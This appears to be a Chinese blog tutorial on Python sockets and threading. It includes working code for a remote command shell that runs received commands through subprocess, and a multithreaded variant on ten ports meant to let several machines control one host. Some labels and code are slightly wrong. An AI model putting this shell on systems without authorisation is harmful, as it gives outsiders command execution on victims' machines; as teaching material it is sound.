目录
前置知识
Socket编程
Python反弹shell
Python多线程编程
前置知识
客户端/服务端结构(C/S结构)
服务器-客户机,即Client-Server(C/S)结构。C/S结构通常采取两层结构。服务器负责数据的管理,客户机负责完成与用户的交互任务。
例如,我们的浏览器就是一个客户端,我们需要看的视频网站就是服务端。我们多个客户都可以去这个服务端看视频。
Socket套接字
Socket是一个抽象层,连接了应用层与传输层,是一组接口。
在设计模式中,Socket其实就是一个门面模式,它把复杂的TCP/IP协议簇隐藏在Socket接口后面,对用户来说,一组简单的接口就是全部,让Socket去组织数据,以符合指定的协议。
所以,我们无需深入理解tcp/udp协议,socket已经为我们封装好了,我们只需要遵循socket的规定去编程,写出的程序自然就是遵循tcp/udp标准的。
Socket编程
Socket工作流程
服务器端先初始化Socket,然后与端口绑定(bind),对端口进行监听(listen),调用accept阻塞,等待客户端连接。
客户端初始化一个Socket,然后连接服务器(connect),如果连接成功,这时客户端与服务器端的连接就建立了。
客户端发送数据请求,服务器端接收请求并处理请求,然后把回应数据发送给客户端,客户端读取数据,最后关闭连接,一次交互结束。
一个服务器有65535个端口
常用的Socket方法
Methods | Description | 描述 | socket.socket() | used to create sockets (required on both server as well as client ends to create sockets) | 用于创建套接字(服务器和客户端都需要创建套接字) | socket.accept() | used to accept a connection. It returns a pair of values (conn, address) where conn is a new socket object for sending or receiving data and address is the address of the socket present at the other end of the connection | 用于接受连接。它返回一对值(conn,address),其中conn是用于发送或接收数据的新套接字对象,而address是连接另一端存在的套接字的地址 | socket.bind() | used to bind to the address that is specified as a parameter | 用于绑定到指定为参数的地址 | socket.close() | used to mark the socket as closed | 用于将套接字标记为已关闭 | socket.connect() | used to connect to a remote address specified as the parameter | 用于连接到指定为参数的远程地址 | socket.listen() | enables the server to accept connections | 使服务器能够接受连接 |
一个简单的Socket示例:
#服务器端
import socket
#声明引入socket
link = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#创建一个面向TCP的socket接口
link.bind(('127.0.0.1',8001))
#link.bind是一个绑定参数,可以将Socket套接字和特定/非特定的IP和端口进行绑定
#语法格式:link.bind(('IP地址','端口'))
link.listen(5)
#最大监听数5
print('listening')
con, host = link.accept()
#link.accept()可以接受客户端连接请求
#con, 来指定连接的名称
con.send(b'Connect!')
#con.send('xxx')可以实现向客户端发送字符串信息
message = con.recv(1000)
#连接名称.recv()可以用来获取客户端发送的信息,recv后面的括号中可以指定最大接受的字节数
con.send(b'have received ' + message)
con.close()
link.close()
#con.close()和link.close()用来关闭连接
#服务器端
import socket
Clink = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
Clink.connect(('127.0.0.1',8001))
message = Clink.recv(1000)
print(message)
Clink.send(b'Hello server')
message = Clink.recv(1000)
print(message)
Clink.close()
以上这段程序可以实现服务端对端口的监听以及测试服务器连接之后是否能传输信息。
Python反弹shell
反弹shell的方式有很多:通过Socket绑定,nc反弹shell,使用bash -i来反弹shell等
python可以通过C/S模式实现反弹shell,具体实现思路如下:
- 使服务器执行服务器文件
- 客户机进行连接
- 客户机通过Socket传递命令到服务器
- 由服务器接收客户机传递的命令并进行执行
- 将命令执行结果返回给客户机
- 保持连接
- 重连
将以上步骤进行一个简单的代码实现:
#服务器端
import socket
import subprocess
#声明引入socket和subprocess
link = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#创建一个面向TCP的socket接口
link.bind(('127.0.0.1',8001))
#link.bind是一个绑定参数,可以将Socket套接字和特定/非特定的IP和端口进行绑定
#语法格式:link.bind(('IP地址','端口'))
link.listen(5)
#最大监听数量5
print('listening')
con, host = link.accept()
#link.accept()可以接受客户端连接请求
#con, 来指定连接的名称
con.send(b'Connect!')
#con.send('xxx')可以实现向客户端发送字符串信息
#连接名称.recv()可以用来获取客户端发送的信息,recv后面的括号中可以指定最大接受的字节数
def run_command(command):
if command == b" ":
return ' '
else:
try:
Bcommand = subprocess.check_output(command,shell=True)
#检查输入的命令是否合法
except:
return b"Bad Command"
#不合法返回Bad Command
return Bcommand
#合法返回执行结果
while True:
#循环执行,保持连接
command = con.recv(1000)
#接收命令
command = command.decode()
#命令解码
if command == "exit":
break
#如果是exit就退出执行
Pcommand = run_command(command)
#执行普通命令
con.send(Pcommand)
con.close()
link.close()
#con.close()和link.close()用来关闭连接
#客户端
import socket
Clink = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
Clink.connect(('127.0.0.1',8001))
message = Clink.recv(1000)
print(message)
while True:
command = input('>')
if command == 'exit':
Clink.send(command.encode())
break
Clink.send(command.encode())
message = Clink.recv(7000)
print(message.decode())
Clink.close()
Python多线程编程
线程是操作系统中的一个概念,是CPU分配资源的最小单位,一个进程可以有多个线程,当程序执行时,若不对其有特殊限制,则所有线程在宏观上是并行的。通过引入线程这一概念可以实现程序的多个功能并发,实现并发编程。
tips:在微观上和进程一样,线程的并行也只是为每个线程分配微小的时间片交替执行。
线程库:threading
在python编程中通过引入threading库可以在程序中创建线程,实现多线程编程。
简单的多线程代码实例:
import threading
import time
import random
def PRthread(num,string):
print(num, string)
time.sleep(random.randint(1,10)/100)
threadlist = []
for i in range(100):
threadtmp = threading.Thread(target = PRthread,args = (i,'thread%d'%i))
threadlist.append(threadtmp)
for i in threadlist:
i.start()
执行结果:
这段代码中使用随机数来对每个线程进行一个很短时间的sleep,更方便的观察到线程的并行。
如果我们在上一部分的反弹shell中加入线程就可以实现多台机器实时控制一台机器了
多线程监听端口实例如下(此实例可以同时开启10个线程10个端口,需要更多线程可以修改range的值即可):
#多线程反弹Shell
import socket
import subprocess
import threading
#声明引入socket和subprocess
port = 18000
threadlist = []
def run_command(command):
if command == b" ":
return ' '
else:
try:
Bcommand = subprocess.check_output(command,shell=True)
#检查输入的命令是否合法
except:
return b"Bad Command"
#不合法返回Bad Command
return Bcommand
#合法返回执行结果
def Thread_run(portn):
link = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#创建一个面向TCP的socket接口
link.bind(('127.0.0.1',portn))
#link.bind是一个绑定参数,可以将Socket套接字和特定/非特定的IP和端口进行绑定
#语法格式:link.bind(('IP地址','端口'))
link.listen(5)
#最大监听数量5
print('listening')
con, host = link.accept()
#link.accept()可以接受客户端连接请求
#con, 来指定连接的名称
con.send(b'Connect!')
#con.send('xxx')可以实现向客户端发送字符串信息
#连接名称.recv()可以用来获取客户端发送的信息,recv后面的括号中可以指定最大接受的字节数
while True:
command = con.recv(1000)
#接收命令
command = command.decode()
#命令解码
if command == "exit":
break
#如果是exit就退出执行
Pcommand = run_command(command)
#执行普通命令
con.send(Pcommand)
con.close()
link.close()
port += 1
print('port:%dopen'%portn)
#con.close()和link.close()用来关闭连接
for i in range(10):
threadtmp = threading.Thread(target = Thread_run,args = (port+2*i,))
threadlist.append(threadtmp)
for i in threadlist:
i.start()
|